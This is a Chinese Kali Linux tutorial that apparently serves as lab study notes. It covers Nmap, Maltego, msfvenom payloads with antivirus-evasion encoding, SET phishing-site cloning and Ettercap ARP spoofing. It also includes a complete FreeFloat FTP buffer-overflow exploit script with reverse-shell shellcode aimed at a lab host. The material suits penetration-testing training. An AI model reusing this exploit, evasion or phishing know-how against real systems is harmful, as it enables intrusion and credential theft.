Kali基础使用教程

Kali基础使用教程

文件查找基础命令

  • 从索引库查找:locate [文件名]
  • 查找二进制可执行文件:whereis [文件名]
  • 查找环境变量可执行文件:which [文件名]
  • 从硬盘便利查找文件 : find [文件名]

文件查看命令

  • cat :查看小文件 可拼接多个文件内容 cat file.txt
  • head : 默认查看文件10行 通过n指定行数 head -5 file.txt
  • tail: 默认查看后10行 通过n指定行数 常用 -f 参数实时追踪文件更新(如日志) tail -f file.log
  • nl :显示文件内容并在每行前加行号 nl file.txt
  • grep: 搜索文件中符合特定模式的行 支持正则表达式,过滤内容很强大 nl file.txt | grep pattern
  • less 逐屏查看文件内容
  • more :按屏查看文件内容(更简单的版本) 功能少于 less,只能向下翻动

image-20250120215919357

常用进程命令

  • ps :查看当前命令状态

    • -e-A:列出所有进程。
    • -f:显示完整的格式信息。
    • a:显示所有用户的进程。
    • u:以用户友好的格式显示,包含用户名和 CPU/内存等信息。
    • x:包括没有终端的进程
    • ps aux:查看所有进程的详细信息。
    • ps -eps -A:查看所有进程。
    • ps -p <PID>:查看特定进程的详细信息
    • ps -e | grep <process_name>:根据进程名称查找进程
  • top :主要用于动态显示系统资源的使用情况

    • q:退出 top 命令。
    • P:按 CPU 使用率排序进程。
    • M:按内存使用量排序进程。
    • N:按进程 ID 排序。
    • k:终止进程。按下 k 后,会提示你输入一个进程 ID (PID) 和信号类型 (通常是 15 来正常结束进程)。
    • r:重新调整进程优先级(修改进程的 nice 值)。
    • 1:显示所有 CPU 的使用情况(默认显示的是总 CPU 的平均情况)。
    • top -u :这将仅显示特定用户的进程。
    • top -p :只查看某个特定进程的资源使用情况
    • top -n 1 > top_output.txt 将 top 命令的输出重定向到一个文件中
  • kill [pid] : 用于结束终止进程

  • jobs :命令用于列出当前用户会话中正在后台或暂停的进程

    • 使用 fg 命令将作业带到前台
    • 使用 bg 命令将暂停的作业移到后台继续执行

Kali信息搜集

Maltego使用

Maltego :可以通过 域名注册 搜索引擎 社交网络 电子邮件等等 各种渠道去搜集目标的信息

1.左上角是新建界面

image-20250116170127582

左上角是新建界面

2.我们选择在左侧的“eneitypalette”中的”infrastructure“的domain,然后按住拖到中间的白板中。(如果不小心把eneity palette删掉的话,可以去windows找到它,点击就会出现

image-20250116170333284

3.修改成你要查询的域名 点击鼠标右键“All Transforms”

image-20250116171434522

这里就能看到“All Transforms” 下的转换类型 这里我们选择 To DNS Name (interesting)[SecurityTrails]

image-20250116172434138

这里结果就显示出来其他的子域名了

sn0int的使用

$ sudo apt install curl sq
$ curl -sSf https://apt.vulns.sexy/kpcyrd.pgp | sq keyring filter -B --handle 64B13F7117D6E07D661BBCE0FE763A64F5E54FD6 | sudo tee /etc/apt/trusted.gpg.d/apt-vulns-sexy.gpg > /dev/null
$ echo deb http://apt.vulns.sexy stable main | sudo tee /etc/apt/sources.list.d/apt-vulns-sexy.list
$ apt update
$ apt install sn0int

这是安装命令

image-20250116194207949

安装完成后启动 然后再输入 pkg quickstart命令 下载常用的56个模块

image-20250116205510947

创建自己的工作区

workspace demo

添加要信息搜索的域名信息 这里以 example.com 为例

image-20250116205754847

使用 ctlogs模块 用证书的方式 对目标进行扫描 来查询子域名

image-20250116210151148

再使用dns-resolve模块对子域名对应的ip地址进行了解析 将结果添加到对应的范围里面 同时还更新了这些域名的实体信息

image-20250116210627222

这里没有指定域名所以将上面的域名都给解析了 可以看到resolvable =》true是可以解析的

使用use url-scan来对上面的域名看看能不能访问

image-20250116211109532

可以看得到 www.example.com网页的80端口 和443端口是可以进行访问的

如果不需要某个实体也可以删除掉 可以用delete

target可以看到我们当前有哪些实体

image-20250116211308822

如果不需要某个实体也可以删除掉 可以用noscope domains where value=[所要删除的域名]

image-20250116211426314

Nmap使用

Nmap的作用:

  • 目标主机是否在线
  • 目标主机网络所在的状态
  • 目标主机上开放的端口
  • 目标主机所使用的操作系统
  • 目标主机上运行的程序

Nmap的使用方法

主机发现

  • -sn : Ping 扫描 ,用于发现主机是否在线
  • -PS, -PA, -PU, -PY: 使用TCP SYN/ACK、UDP、SCTP进行端口扫描。
  • -n, -R: 控制DNS解析的行为。
  • -sP ip/子网掩码 :扫描网段中有哪些主机在线,不扫描端口,只扫描「存活主机」

端口扫描

  • nmap ip : 扫描主机开放端口
  • nmap ip ip:扫描多个主机,多个目标跟上ip
  • -p: 一次扫描单个端口 多个端口 或者范围的端口
  • --top-ports : 来扫描使用频率最高的端口
  • -exclude :需要过滤的IP或者文件
  • ip/子网掩码:用来扫描指定子网范围内的多个 IP 地址

服务和版本探测

  • -sV:探测服务/版本信息,可以通过设置版本扫描强度来控制

防火墙/IDS规避和欺骗

  • -f: 报文分段,用于绕过防火墙或IDS。

  • -D: 使用诱饵扫描,混淆扫描来源

操作系统检测

识别目标主机的操作系统

  • -O: 启用操作系统检测,可以限制或推测操作系统检测结果。
  • -O --osscan-guess :如果使用参数 -O 没有显示出来操作系统 可以再加上参数 --osscan-guess来让nmap猜测主机的操作系统

端口扫描技术

  • -sS: SYN扫描,也称为半开放扫描,不建立完整的TCP连接。
  • -sT: TCP扫描,使用标准的TCP三次握手过程。
  • -sU: UDP扫描,用于发现开放的UDP端口。

namp 脚本工具

在nmap文件夹下面script 目录里面有上百个脚本文件

  • --script [脚本名称] ip :用来检测这个主机是否有这个漏洞
  • 例:nmap --script vuln 192.168.223.129
  • 例:nmap --script ftp-vsftpd-backdoor.nse 192.168.162.135

image-20250119105534949

image-20250119105658834

img

kali web应用程序漏洞扫描

zaproxy使用

在kail下面使用 apt install zaproxy安装工具

打开工具后点击firefox工具

image-20250118171756632

在搜索框里面输入你所要攻击的网址 这里以dvwa为例

在存在sql注入页面的地方提交方法这里 提交 返回我们的zaproxy

image-20250118171907512

在左侧找到我们刚刚提交的记录 点击鼠标右键 攻击 主动扫描 开始扫描

image-20250118172252413

image-20250118172345934

image-20250118172412049

点击警报这里就能看到输入框存在什么漏洞了

image-20250118173021868

rips-0.55使用

下载完rips-0.55后打开

image-20250118181241226

path/file:这里放你要审计的代码路径

verbosity level:选择你所需要的级别

点击scan就可以扫描了

image-20250118182855975

kali远程控制

NetCat使用

NC的作用

(1)传输文本信息

(2)传输文件/目录

(3)加密传输文件

(4)远程控制/木马

(5)加密传输文件

(6)流媒体服务器

(7)端口扫描

(8)远程克隆硬盘

NC常用的参数:

-h 帮助信息

-l 监听模式

-n 指定数字的IP地址,不会进行DNS解析

-p 指定监听的本地端口

-u UDP模式

-v 显示详细的信息

-i secs延迟时间

-w secs 超时时间

-z 表示扫描时不发送任何数据包

-q 限制会话的次数 (到达次数后自动关闭会话,用于证明数据传输完成)

MSFPC生成被控端

image-20250121181856282

  • msfpc [type] type里面可替换生成木马的类型

    • 例:msfpc linux :生成在linux下生成的木马

    image-20250121181053258

    msfpc在 /root下面生成了两个文件一个是.elf结尾的被控端 一个是.rc结尾的自动运行msf框架脚本的主控端

    使用 msfconsole -q -r '/root/linux-shell-staged-reverse-tcp-443-elf.rc' 就能运行主控端

Msfvenom 使用教程

下面给出了 msfvenom 的几个常见的使用参数。

  • -p, --payload:指定要生成的 payload (攻击荷载)。如果需要使用自定义的 payload, 请使用 ‘-’或者 stdin 指定

  • -f, --format :指定输出格式 (可以使用 --help-formats 来获取 msf 支持的输出格式列表)

  • -o, --out:指定存储 payload 的位置

  • --payload-options:列举 payload 的标准选项

  • --help-formats:查看 msf 支持的输出格式列表

    普通生成

    • msf -p 有效载荷 -f输出格式 -o 输出文件

    image-20250121184342022

    image-20250121184434772

msfneovm下的payload提供了大量被控端程序

  • msfvenom -l payloads

    image-20250121184758875

payload名称采用 操作系统 控制方式 模块具体名称组成

使用payload下的参数不知道如何使用

  • msfvenom --list-option -p [payload名称]

    查看当前payload使用需要添加什么参数

image-20250121185521684

Basic options参数是需要我们设置的 名字 当前设置 需要 描述

image-20250121185535669

msfvenom下面还提供了高级参数设置

image-20250121185816221

  • msfvenom --list formats :查看payload可编译的格式

image-20250121190147840

image-20250121190159887

msfvenom提供免杀的方式

1.对payload进行编码

  • -e :生成编码方式

  • -i :编码次数

  • msfvenom -l encrypt :列出所有加密方式

  • msfvenom -l encoders : 列出所有编码器

msfvenom 下的编码器分为七个等级 excellent 为最高 excellent每次编码的结果不一样

image-20250122165622969

2.对payload多次编码

msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 5 -f exe -o /var/muma.exe

image-20250122173736699

3.对payload加壳

  • upx [payload路径]

用upx程序用系统自带的程序对payload加壳

image-20250122174109850

PowerShell进行免杀方法式


Kali社会工程学工具使用

social enginnering toolkits的使用

image-20250208171917585

image-20250208172010944

点击启动后会显示set

这里有6行命令 分别是

  1. Social-Engineering Attacks 1) 社会工程攻击

  2. Penetration Testing (Fast-Track) 2) 渗透测试(快速通道)

  3. Third Party Modules 3) 第三方模块

  4. Update the Social-Engineer Toolkit 4) 更新社会工程师工具包

  5. Update SET configuration 5) 更新集配置

  6. Help, Credits, and About 6) 帮助、学分和关于

  7. Exit the Social-Engineer Toolkit 99)退出社会工程师工具包

我们选择第一个选项—Social-Engineering Attacks

image-20250208172312634

Social-Engineering Attacks 中一共包含10个功能,分别是:

  1. Spear-Phishing Attack Vectors 1) 矛式网络钓鱼攻击向量

  2. Website Attack Vectors 2) 网站攻击向量

  3. Infectious Media Generator 3) 感染性媒介发生器

  4. Create a Payload and Listener 4) 创建有效负载和侦听器

  5. Mass Mailer Attack 5) 群发邮件攻击

  6. Arduino-Based Attack Vector 6) 基于Arduino的攻击向量

  7. Wireless Access Point Attack Vector 7) 无线接入点攻击向量

  8. QRCode Generator Attack Vector 8) QRCode生成器攻击向量

  9. Powershell Attack Vectors 9) Powershell攻击向量

  10. Third Party Modules 10) 第三方模块

  11. Return back to the main menu. 99)返回主菜单。

我们选择第二项Website Attack Vectors 网站攻击向量

image-20250208173452184

Website Attack Vectors 中一共包含7个功能,分别是:

  1. Java Applet Attack Method 1) Java小程序攻击方法

  2. Metasploit Browser Exploit Method 2)Metasploit浏览器利用方法

  3. Credential Harvester Attack Method 3)凭证收割机攻击方法(钓鱼网站攻击)

  4. Tabnabbing Attack Method 4)Tabnabbing攻击方法

  5. Web Jacking Attack Method 5)网页劫持攻击方法

  6. Multi-Attack Web Method 6)多种网站攻击Web方法

  7. HTA Attack Method 7)HTA攻击方法

  8. Return to Main Menu 99)返回主菜单

我们选择第三项 Credential Harvester Attack Method 凭证收割机攻击方法(钓鱼网站攻击)

image-20250208173557862

Credential Harvester Attack Method中一共包含3个功能,分别是:

  1. Web Templates 1) Web模板
    2) Site Cloner 2) 网站克隆器
    3) Custom Import 3) 自定义导入

  2. Return to Webattack Menu 99)返回Webattack菜单

“Web Templates”(web模块)是指利用SET中自带的模版作为钓鱼网站,SET中选择了几个国外比较有名的网站,如Yahoo、Gmail等。

“Site Clone”(网站克隆)是SET中一个极为强大的功能,可以克隆任何网站。你可以使用它模拟出想要冒充的网站,如某个单位的办公系统等。

“Custom Import”(自定义导入)允许你导入自己设计的网站。

我们选择第二项 Site Cloner 网站克隆器

image-20250208174432869

输入你自己的本地IP

第二个输入你要克隆网站的url地址

image-20250208175028797

钓鱼网站建立在你本机的IP地址上

当目标主机访问你的IP地址就会弹出钓鱼网站

用户输入账户密码

工具便会记录上

image-20250208175145570


Kali对软件溢出进行渗透

如何对软件的溢出漏洞进行测试

渗透目标 Float FTP

首先使用ftp命令,然后使用open 命令打开192.168.162.133

image-20250208182806141

​ 使用FreeFloat FTP Server 这个服务器对登录没有进行任何限制 你输入任意用户名和密码都可以登录进去

​ 我们现在来看看这个工具是否存在栈溢出漏洞。现在我们在输入用户名的时候,尝试使用一个特别长的字符串作为用户名,来看看在用户名输入的位置是否存在溢出的漏洞,

image-20250208184036218

​ 这个FTP系统并没有崩溃,而是正常地处理了用户的输入并返回了相应的错误信息 使用wireshare抓包显示实际发送的只有78个a 显然这个长度的字符串是没办法引起溢出的 那么我们自习构造数据包发送出去 这样我们想要数据包中有多少a就有多少a了

​ 这里用python来编写这段脚本

image-20250208193950968

​ 这里建立好一个到目标主机21端口的设备,但是ftp链接需要认证,我们任然需要香目标服务器提供一个用户名和密码,服务器会对用户和面进行验证 将用户输入的和自己保存的进行比对

​ 我们可以将用户名作为一个测试点 用wireshare抓取用户名的数据包

image-20250208193622635

​ 中我们输入的用户名是一段字符,这段字符前面是“USER”,后面是一个回车符和换行符“\rn”。我们使用 socket套接字中的 send()方法可以将一个字符串以数据包的形式发送出去,这里面我们以成百上千的“A”作为用户名。

​ 将这个数据包发送 可以看到ftp服务器崩溃

image-20250208195320019

计算软件溢出的偏移地址

这里显示软件“FreeFloat FTp Server”执行到地址“61616161”处时就无法再继续下去了。按照我们之前讲过的知识,出现这种情况的原因是原本保存下一条地址的EIP 寄存器中的地址被溢出的字符“a”所覆盖。“\x61.”在 ASCI 表中表示的正是字符“a”,也就是说现在 EIP 寄存器中的内容就是“aaaa”,而操作系统无法在这个地址找到一条可以执行的命令,从而引发系统的崩溃。

​ 好了,现在我们可以在调试器中看到 EIP的地址,但是你要知道程序在操作系统中的执行是动态的,也就是说每一次这个软件执行时所分配的地址都是不同的。所以我们现在需要知道的不是 EIP 的绝对地址,而是 EIP 相对输入数据起始位置的相对位移。
​ 如果这个位移的值不大的话,我们可以用逐步尝试的方法获取这个值。但是如果位移比较大的话,我们还是需要使用到一些工具来提高效率,例如这里我们就可以借助Metasploit 中内置的两个工具 pattern_create 和 pattern_offset 来完成这个任务。

image-20250208195654442

​ /usr/share/metasploit-framework/tools/exploit目录下

image-20250208195805283

​ -h显示了这个工具的用法 常用的参数是-l 用来生成字符串的长度 下面生成一个500个字符串的文本

image-20250208195921236

​ 我们使用这个工具产生的字符来代替那些“a” 依旧使用上面那段python脚本 将内容发送出去

image-20250208203457834

image-20250208200325171

​ FreeFloat FTP Server软件再次崩溃 记录下提示信息 37584136 然后使用 pattern_offset来查找对应的便宜量

image-20250208200519086

​ -q加上溢出的地址值 -l是指定字符串的长度 也就是 500

image-20250208200657580

​ 成功找到 EIP的寄存器的位置 这个寄存器的值决定了程序下一步执行的位置 好了,现在我们向目标发送能够导致系统溢出到EIP的数据,之前我们已经计算出EIP 的偏移望是230,那么现在提供了230个字符“A”即可,之后就是4个“B”我们编写下面的程序,向目标发送溢出数据。

image-20250208202127480

崩溃的地址上62626262

查找JMP ESP指令

但是这里其实还是有一个问题,就是即使我们控制了EIP 中的内容,但是之前我们已经看到了任何的一个程序在每一次执行时,操作系统都会为其分配不同的地址。所以我们即使可以决定程序下一步执行的地址,但是却并不知道我们的恶意攻击载荷位于哪个位置,还是没有办法让目标服务器执行这个恶意的攻击载荷。
接下来我们就要想一个办法,让这个 EIP 中的地址指向我们的攻击载荷,这里我们先
来看一下输入的用户名数据在执行时是如何分布的,如图

image-20250208202251971

按照栈的设计,ESP 寄存器应该就位于 EIP 寄存器的后面(中间可能有一些空隙),如图 10-21 所示。那么这个寄存器就是我们最理想的选择,一来我们在使用大重字符来溢出栈的时候,也可以使用特定字符来覆盖 ESP,二来我们虽然无法对 ESP寄存器进行定位,但是可以利用一条“JMP ESP”的跳转指令来实现跳转到当前ESP 寄存器

image-20250208202319914

​ 我们接下来的工作就是要找到一条地址不会发生改变的“JMP ESP”指令,ntdll.dll(NTLayer DLL)是 Windows NT操作系统的重要模块,属于系统级别的文件,用于堆栈释放、进程管理。kernel32.dll是 Windows qx/Me 中非常重要的32位动态链接库文件,属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理,当 Windows 启动时,kernel32.dl 就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。
-些经常被用到的动态链接库会被映射到内存,如kernel.32.dll、user32.dll 会被几乎所有进程加载,且加载基址始终相同(不同操作系统上可能不同)。我们现在只需要在这些动态链接库中找到“JMP ESP”命令就可以了。找到的“JMP ESP”的地址是-直都不会变的。

​ 这里我们使用Mona.py插件查找 “jmp esp”

image-20250208203037956

使用!mona启动插件 再使用 !mona jum -r esp查找地址

这里有很多条可使用的指令 主要来源于SHELL32.dll

这里我们使用第一条指令来跳转 记录地址 7C9D30D7

编写渗透程序

​ 这里面的地址存在一个问题,同样的一个地址数据在网络传输和CPU 存储时的表示方法是不同的,这里有一个大端和小端的概念,大端(Big-Endian)、小端(Little-Endian)以及网络字节序的概念在编程中经常会遇到,其中网络字节序
​ (Network Byte Order)一般是指大端(Big-Endian,对大部分网络传输协议而言)传输,大端、小端的概念是面向多字节数据类型的存储方式定义的,小端就是低位在前(低位字节存在内存低地址,字节高低顺序和内存高低地址顺序相同),大端就是高位在前(其中“前”是指靠近内存低地址,存储在硬盘上就是先写那个字节)。概念上字节也叫主机序。
​ 这里我们在使用 python 编程向目标发送“JMP ESP”指令的地址时使用的是大端
格式,而当前的地址“7C9D3OD7”其实是小端格式,两者需要进行调整。如果我们希望使用“7C9D3OD7”来覆盖目标地址,在使用Puthon 编写渗透程序的时候就需要使
用倒置的地址“/xD7/x30/x9D/x7C”。

image-20250208203620342

执行这段脚本之后,目标系统的“FreeFloat FTp Server”崩溃了,但是却没有启动计算器程序,这是为什么呢?我们还是启动lmmunity Debugger来调试一下,可以看到这里之前的命令都执行成功了,但是 ESP 的地址向后发生了偏移,这样就导致了shellcode的代码并没有全部载入到 ESP 中,最前面的一部分在ESP 的外面,这样就会导致即使我们控制了程序,但是由于 ESP 中只有一部分shellcode,因此执行的时候缺失了一部分,从而导致程序不能够正常执行。
那么我们该如何解决这个问题呢?解决的方法就是一个特殊的指令“90”。“\x9O”其实就是 NOPS,也就是空指令,这个指令不会执行任何的实际操作。但是它也是一条指令,因此会顺序地向下执行,这样我们即使并不知道 ESP的真实地址,只需要多在 EIP 后面添加一些空指令,只要这些空指令足够多到将shellcode偏移进了 ESP,就可以顺利执行
shellcode.
比如说,我们现在向程序中添加 20个“90”,修改后的代码如下所示。

image-20250208204003539


Metasploit生成shellcode

打开msfvenom 生成shellcode代码

msfvenom -p windows/shell_reverse_tcp lhost=192.168.162.128 lport=5001 -b '\x00\x0a\x40' -f python

image-20250209183830114

将生成的这段代码复制到我们的代码编写的脚本里面去

import socket
buf=b"\x61"*230+b"\xD7\x30\x9D\x7C"+b"\x90"*20
buf += b"\xda\xc4\xd9\x74\x24\xf4\xb8\xf8\xad\x4f\xf7\x5a"
buf += b"\x2b\xc9\xb1\x52\x83\xc2\x04\x31\x42\x13\x03\xba"
buf += b"\xbe\xad\x02\xc6\x29\xb3\xed\x36\xaa\xd4\x64\xd3"
buf += b"\x9b\xd4\x13\x90\x8c\xe4\x50\xf4\x20\x8e\x35\xec"
buf += b"\xb3\xe2\x91\x03\x73\x48\xc4\x2a\x84\xe1\x34\x2d"
buf += b"\x06\xf8\x68\x8d\x37\x33\x7d\xcc\x70\x2e\x8c\x9c"
buf += b"\x29\x24\x23\x30\x5d\x70\xf8\xbb\x2d\x94\x78\x58"
buf += b"\xe5\x97\xa9\xcf\x7d\xce\x69\xee\x52\x7a\x20\xe8"
buf += b"\xb7\x47\xfa\x83\x0c\x33\xfd\x45\x5d\xbc\x52\xa8"
buf += b"\x51\x4f\xaa\xed\x56\xb0\xd9\x07\xa5\x4d\xda\xdc"
buf += b"\xd7\x89\x6f\xc6\x70\x59\xd7\x22\x80\x8e\x8e\xa1"
buf += b"\x8e\x7b\xc4\xed\x92\x7a\x09\x86\xaf\xf7\xac\x48"
buf += b"\x26\x43\x8b\x4c\x62\x17\xb2\xd5\xce\xf6\xcb\x05"
buf += b"\xb1\xa7\x69\x4e\x5c\xb3\x03\x0d\x09\x70\x2e\xad"
buf += b"\xc9\x1e\x39\xde\xfb\x81\x91\x48\xb0\x4a\x3c\x8f"
buf += b"\xb7\x60\xf8\x1f\x46\x8b\xf9\x36\x8d\xdf\xa9\x20"
buf += b"\x24\x60\x22\xb0\xc9\xb5\xe5\xe0\x65\x66\x46\x50"
buf += b"\xc6\xd6\x2e\xba\xc9\x09\x4e\xc5\x03\x22\xe5\x3c"
buf += b"\xc4\x8d\x52\x9c\x94\x66\xa1\xe0\x87\xff\x2c\x06"
buf += b"\xcd\xef\x78\x91\x7a\x89\x20\x69\x1a\x56\xff\x14"
buf += b"\x1c\xdc\x0c\xe9\xd3\x15\x78\xf9\x84\xd5\x37\xa3"
buf += b"\x03\xe9\xed\xcb\xc8\x78\x6a\x0b\x86\x60\x25\x5c"
buf += b"\xcf\x57\x3c\x08\xfd\xce\x96\x2e\xfc\x97\xd1\xea"
buf += b"\xdb\x6b\xdf\xf3\xae\xd0\xfb\xe3\x76\xd8\x47\x57"
buf += b"\x27\x8f\x11\x01\x81\x79\xd0\xfb\x5b\xd5\xba\x6b"
buf += b"\x1d\x15\x7d\xed\x22\x70\x0b\x11\x92\x2d\x4a\x2e"
buf += b"\x1b\xba\x5a\x57\x41\x5a\xa4\x82\xc1\x6a\xef\x8e"
buf += b"\x60\xe3\xb6\x5b\x31\x6e\x49\xb6\x76\x97\xca\x32"
buf += b"\x07\x6c\xd2\x37\x02\x28\x54\xa4\x7e\x21\x31\xca"
buf += b"\x2d\x42\x10"
target="192.168.162.133"
s=socket.socket()
s.connect((target,21))
data=b"USER "+buf+b"\r\n"
s.send(data)
s.close()

在kali上启动我们的主控端msfconsole


结构化异常处理SHE介绍

SHE溢出原理

image-20250209193546677

下面给出了基于SEH溢出进行渗透的思路:
1.引起应用程序的异常,这样才可以调用异常处理程序。

2.使用一条POP/POP/RETN指令的地址来改写异常处理程序的地址,因为我们需要将执行切换到下一条SEH记录的地址(catch异常处理程序地址前面的4个字节)之所以使用POP/POP/RET,是因为用来调用catch块的内存地址保存在栈中,指向下一个异常处理程序指针的地址就是ESP+8(ESP是栈顶指针)。因此,两个POP操作就可以将执行重定向到下一条SEH记录的地址。

3.在第一步输入数据的时候,我们已经将到下一条SEH记录的地址替换成了跳转到攻3击载荷的JMP指令的地址。因此,当第二个步骤结束时,程序就会跳过指定数量的字节去执行ShellCode。

4.当成功跳转到ShellCode之后,攻击载荷就会执行,我们也获得了目标系统的管理权限。

image-20250209194241597

当我们知道SHE溢出原理的时候 要编写渗透模块要点

  • 到catch位置偏移量
  • POP/POP/RET地址
  • 短跳转指令

下面我们以win7操作系统为例

下面运行一个Ease File Sharing Web Server 7.2 软件

编写基于SHE溢出渗透模块要点

目标机:win7 32位

攻击机 :kali

在win7中启动Ease File Sharing Web Server 7.2软件 打开kali 访问Ease File Sharing Web Server 7.2网址

打开wireshark 在网站里面先随便登录 抓取网站流量包

image-20250213160556876

image-20250213161006771

根据抓取的流量包编写我们的python 去还原Ease File Sharing Web Server 7.2的登录流程 然后修改里面的传参的值 去测试Ease File Sharing Web Server 7.2是否存在溢出

image-20250213164042053

/usr/share/metasploit-framework/tools/exploit下的 pattern_create来生成10000个字符

image-20250213163443739

image-20250213163953950

image-20250213164242868

运行代码返回win7 Ease File Sharing Web Server 7.2 这边点击软件直接退出

说明 Ease File Sharing Web Server 7.2是存在溢出的

再次启动 Ease File Sharing Web Server 7.2 打开Immunity Debugger -> attach->Ease File Sharing Web Server->View->SEH chain

在kali上远程执行一下我们的程序

image-20250213164948806

image-20250213173342291

使用Python编写渗透模块

移植Metasploit中的渗透模块

Wireshark使用

什么是wireshark

Wireshark是使用最广泛的一款「开源抓包软件」,常用来检测网络问题、攻击溯源、或者分析底层通信机制。

它使用WinPCAP作为接口,直接与网卡进行数据报文交换。

wireshark抓包原理

Wireshark使用的环境大致分为两种,一种是电脑直连互联网的单机环境,另外一种就是应用比较多的互联网环境,也就是连接交换机的情况。

  • 单机情况下,Wireshark直接抓取本机网卡的网络流量;

  • 交换机情况

    下,Wireshark通过

    端口镜像

    ARP欺骗

    等方式获取局域网中的网络流量。

    • 端口镜像:利用交换机的接口,将局域网的网络流量转发到指定电脑的网卡上。
    • ARP欺骗:交换机根据MAC地址转发数据,伪装其他终端的MAC地址,从而获取局域网的网络流量。

image-20250213175107973

选择对应的网卡,右键,会出现Start Capture(开始捕获),点击即可进行捕获该网络信息,开始抓取网络包

点击eth0 打开浏览器 可以看到wireshark上开始出现数据包

image-20250213175349914

1、Display Filter(显示过滤器), 用于设置过滤条件进行数据包列表过滤。菜单路径:Analyze --> Display Filters

image-20250213180856550

2、Packet List Pane(数据包列表), 显示捕获到的数据包,每个数据包包含编号,时间截,源地址,目标地址,协议,长度,以及数据包信息。 不同协议的数据包使用了不同的颜色区分显示。

image-20250213180926925

3、Packet Details Pane(数据包详细信息), 在数据包列表中选择指定数据包,在数据包详细信息中会显示数据包的所有详细信息内容。数据包详细信息面板是最重要的,用来查看协议中的每一个字段。各行信息分别为
(1)Frame: 物理层的数据帧概况

(2)Ethernet II: 数据链路层以太网帧头部信息

(3)Internet Protocol Version 4: 互联网层IP包头部信息

(4)Transmission Control Protocol: 传输层T的数据段头部信息,此处是TCP

(5)Hypertext Transfer Protocol: 应用层的信息
image-20250213181025156

wireshark过滤器

image-20250213181447750

一、捕获过滤器(Capture Filter)

作用:在数据包捕获阶段过滤流量,仅抓取符合条件的数据包,减少资源占用。
语法基础:基于BPF(Berkeley Packet Filter)语法,支持协议、方向、逻辑运算符等组合。

规则组成

  1. 协议(Protocol)
    • 可选协议如tcpudpiparp等,默认抓取所有支持的协议。
    • 示例:tcp(仅抓TCP协议流量)。
  2. 方向(Direction)
    • 指定源(src)、目标(dst)或双向(src or dst),默认src or dst
    • 示例:src host 192.168.1.1(抓取源IP为192.168.1.1的流量)。
  3. 逻辑运算符
    • and(与)、or(或)、not(非),优先级为not > and = or,运算顺序从左到右。
    • 示例:host 192.168.0.115 and tcp port 8080(抓取该IP且TCP端口为8080的流量)。
  4. 常见表达式示例
    • 端口过滤:port 80(抓取端口80的流量)。
    • IP范围过滤:net 192.168.0.0/24(抓取该子网内的流量)。
    • 协议排除:!arp(排除ARP协议)。

二、显示过滤器(Display Filter)

作用:在已捕获的数据包中筛选特定流量,支持更复杂的字段匹配。
语法基础:基于字段名、比较运算符和逻辑运算符组合,支持协议内容和特定属性过滤。

规则组成

  1. 基本结构协议.字段 运算符 值,例如:
    • tcp.port == 80(显示TCP端口80的流量)。
    • ip.addr == 192.168.1.1(显示源或目标IP为该地址的流量)。
  2. 协议过滤
    • 直接输入协议名,如httpdnsicmp
    • 排除协议:!ssl(不显示SSL流量)。
  3. 字段类型与运算符
    • 数值:使用==><等,如tcp.len >= 7
    • 字符串:使用==contains,如http.request.uri contains "/login"
    • 布尔值tcp.flags.syn == 1(显示TCP SYN标志包)。
    • 集合tcp.port in {80, 443, 8080}(显示指定端口的流量)。
  4. 逻辑运算符
    • andor!(非),例如:
      ip.src == 192.168.1.1 and http.request.method == "GET"
  5. 高级功能
    • 子字符串匹配eth.src[0:3] == 00:00:83(匹配MAC地址前3字节)。
    • 正则表达式http.host matches "example\.(com|org)"

常见示例

  • HTTP请求过滤:http.request.method == "GET"
  • 特定域名过滤:dns.qry.name == "[www.example.com ](https://www.example.com )"
  • 包长度过滤:frame.len > 100(显示长度大于100字节的包)。

image-20250213182400660

使用Ettercap进行网络嗅探

一、网络嗅探定义

网络嗅探(Network Sniffing)是指利用软件或硬件工具监听网络接口,捕获流经该接口的所有数据包,并对这些数据包进行解码和分析的过程。它既是网络管理的重要工具,用于监控性能和排查故障,也可能被恶意攻击者用于窃取敏感信息(如账户密码、通信内容等)。

二、工作原理

  1. 混杂模式(Promiscuous Mode)
    网卡默认仅接收目标地址为本机的数据包,但在混杂模式下,网卡会接收所有流经网络接口的数据帧,无论目标地址如何。这是嗅探的基础技术。
  2. 共享式网络与交换式网络的差异
    • 共享式网络(如集线器) :所有数据包会被广播到所有端口,嗅探器可直接捕获全网流量。
    • 交换式网络(如交换机) :数据包仅发送到目标端口,需通过以下技术实现嗅探:
  • ARP欺骗(ARP Spoofing) :伪造ARP响应,使目标设备误将攻击者的MAC地址作为网关,从而将流量重定向到嗅探器。
  • MAC洪泛攻击(MAC Flooding) :向交换机发送大量虚假MAC地址,导致交换机进入“失效开放”状态并广播所有数据包。
  • 端口镜像(Port Mirroring) :在交换机上配置镜像端口,将指定端口的流量复制到嗅探器连接的端口。
  1. 数据包解析流程
    捕获数据包后,嗅探工具会解析协议头部(如以太网帧、IP、TCP/UDP等),提取有效载荷数据,并根据协议规则重组应用层信息(如HTTP请求、DNS查询等)

Ettercap介绍

Ettercap 是一款功能强大的开源网络嗅探和中间人攻击(MITM)工具,最初于2000年代初由意大利安全团队开发,现支持Linux、Windows、macOS等多平台。它专为交换局域网设计,广泛应用于渗透测试、网络诊断和安全审计,能够在不修改目标系统的情况下实时捕获、分析和修改网络流量

image-20250213183304805

命令: ettercap -G启动

第二个选项 Bridged sniffing 是使用双网卡嗅探 嗅探两块网卡的数据 取消便是中间人嗅探

Primary Interface 是要你选择监听的网卡

配置好后选择右上角的✅就可以开始监听了 这里准备了两台机子

一台winXP :192.168.162.133

一台 linux metasploitable :192.168.162.135

image-20250213184216666

右上角的三点是菜单 点击Hosts->Hosts list 可以发现当前网段里面的主机

image-20250213184335377

右键点击ip地址 设置将要选择要监听哪两台ip的主机 分别添加到 Target1 和Target2中

image-20250213184614052

添加完后便可以进行 arp读话了 点击右上角的工具栏 选 第一个ARP

image-20250213184938867

image-20250213185036939

image-20250213185049517

在Ettercap Menu -> View -> Connections便可以看到目标主机上的链接了

image-20250213185458951

这边使用winXP去访问 metasploitable上面的页面点击DVWA

image-20250213185549597

image-20250213185815397

image-20250213185851606

可以清楚的看到双方之间通讯的数据包

Hydra工具使用

